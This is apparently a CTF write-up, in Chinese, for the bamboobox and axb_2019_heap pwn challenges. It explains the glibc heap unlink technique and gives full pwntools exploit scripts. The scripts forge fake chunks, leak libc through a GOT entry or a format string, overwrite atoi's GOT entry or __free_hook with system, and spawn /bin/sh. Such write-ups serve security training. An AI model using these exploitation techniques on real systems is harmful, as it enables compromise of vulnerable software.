两道都是使用了unlink
并且两道题的方法一模一样,和上一篇的ZCTF的一道题也一样
使用unlink的题目一般有这样的特征
- 指针位置泄露(这三道题全都是在bss上的指针)
- 存在off-by-one或者off-by-null以及其他溢出修改漏洞
第一条用于控制unlink堆块的检验,第二条用于激活unlink,两者缺一不可。
利用方法:
- 制造unlink块,修改fd为ptr-0x18,bk为ptr-0x10,构造chunk_head和下一个chunk的prev_size,通过off修改下一个chunk的prev_inuse位,释放下一个chunk,触发unlink以修改地址
- 泄露地址,editptr+0x18位置为某个got表,使用show打印放在该数据(注意填充)
- 修改ptr+18处数据为system
- 对相关函数填上binsh字符串参数,getshell
hitcon_training
from pwn import *
# io = process('./bamboobox')
io = remote('node4.buuoj.cn',29838)
libc= ELF('./libc-2.23.so')
# elf = ELF('./bamboobox')
context.log_level='debug'
def show():
io.recvuntil('choice:')
io.sendline(str(1))
def add(length,content):
io.recvuntil('choice:')
io.sendline(str(2))
io.recvuntil('name:')
io.sendline(str(length))
io.recvuntil('item:')
io.sendline(str(content))
def edit(index,len,content):
io.recvuntil('choice:')
io.sendline(str(3))
io.recvuntil('index of item:')
io.sendline(str(index))
io.recvuntil('item name:')
io.sendline(str(len))
io.recvuntil('name of the item:')
io.sendline(content)
def delete(id):
io.recvuntil('choice:')
io.sendline(str(4))
io.recvuntil('index of item:')
io.sendline(str(id))
chunk_head = 0x6020C8
puts_got = elf.got['puts']
add(0x40,'a')
add(0x80,'a')
add(0x80,'a')
# step1: create unlink condition
payload1 = p64(0)+p64(0x41)+p64(chunk_head-0x18)+p64(chunk_head-0x10)+'a'*0x20+p64(0x40)+p64(0x90) #0x90 overflow
edit(0,0x50,payload1)
# gdb.attach(io,"b *0x400C4D")
delete(1)
# step2:leak addr
atoi_got = elf.got['atoi']
# gdb.attach(io,"b *0x400B23")
edit(0,0x80,p64(0)*3+p64(atoi_got))
show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
print "puts----->" + hex(puts_addr)
libc_base = puts_addr - libc.sym['atoi']
print "libc_base----->" + hex(libc_base)
pause()
libc_system = libc.sym['system']
system_addr = libc_base + libc_system
# step3: hook_hijack
edit(0,0x8,p64(system_addr))
io.recvuntil('choice:')
io.sendline('/bin/sh\x00')
io.interactive()
axb_2019_heap
这道题由于开了full_relro,不能GOT_HIJACK因此只能通过修改hook实现
from pwn import *
# from LibcSearcher import *
context.log_level = 'debug'
# unlink
io = process('./axb_2019_heap')
# io = remote('node4.buuoj.cn',26275)
libc = ELF('./libc-2.23.so')
def add(index,size,con):
io.recvuntil('>> ')
io.sendline(str(1))
io.recvuntil('(0-10):')
io.sendline(str(index))
io.recvuntil('size:\n')
io.sendline(str(size))
io.recvuntil('content: \n')
io.sendline(con)
io.recvline()
def delete(index):
io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(index))
io.recvline()
def edit(index,content):
io.recvuntil('>> ')
io.sendline(str(4))
io.recvuntil('index:\n')
io.sendline(str(index))
io.recvuntil('content: \n')
io.sendline(content)
io.recvline()
# step1: leak code-loading base and libc_addr
# using fmtstr in ini()
payload1 = '%15$p.%19$p'
io.sendlineafter('Enter your name: ',payload1)
io.recvuntil('Hello, ')
libc_start_240 = int(io.recvuntil('.')[:-1],16)
main_addr = int(io.recvuntil('\n'),16)
print "libc_start_240----->" + hex(libc_start_240)
print "main----->" + hex(main_addr)
pie_base = main_addr-0x116a
print "pie_base----->" + hex(pie_base)
libc_start_main_addr = libc_start_240-240
print "libc_start_main----->" + hex(libc_start_main_addr)
libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]
#step2: fake_unlink
ptr = 0x202060+pie_base
add(0,0x98,p64(0)) #chunk0
add(1,0x90,p64(1)) #chunk1
payload2 = p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10) # fake chunk
payload2+='a'*0x70+p64(0x90)+'\xa0'
edit(0,payload2)
# gdb.attach(io,"brva 0xF88")
delete(1) # trigger unlink
payload3 = p64(0)*3+p64(free_hook)+p64(0x38)
edit(0,payload3)
gdb.attach(io,"brva 0x108c")
edit(0,p64(system_addr))
add(2,0x88,'/bin/sh\x00')
io.recvuntil('>> ')
io.sendline(str(2))
io.recvuntil('index:\n')
io.sendline(str(2))
io.interactive()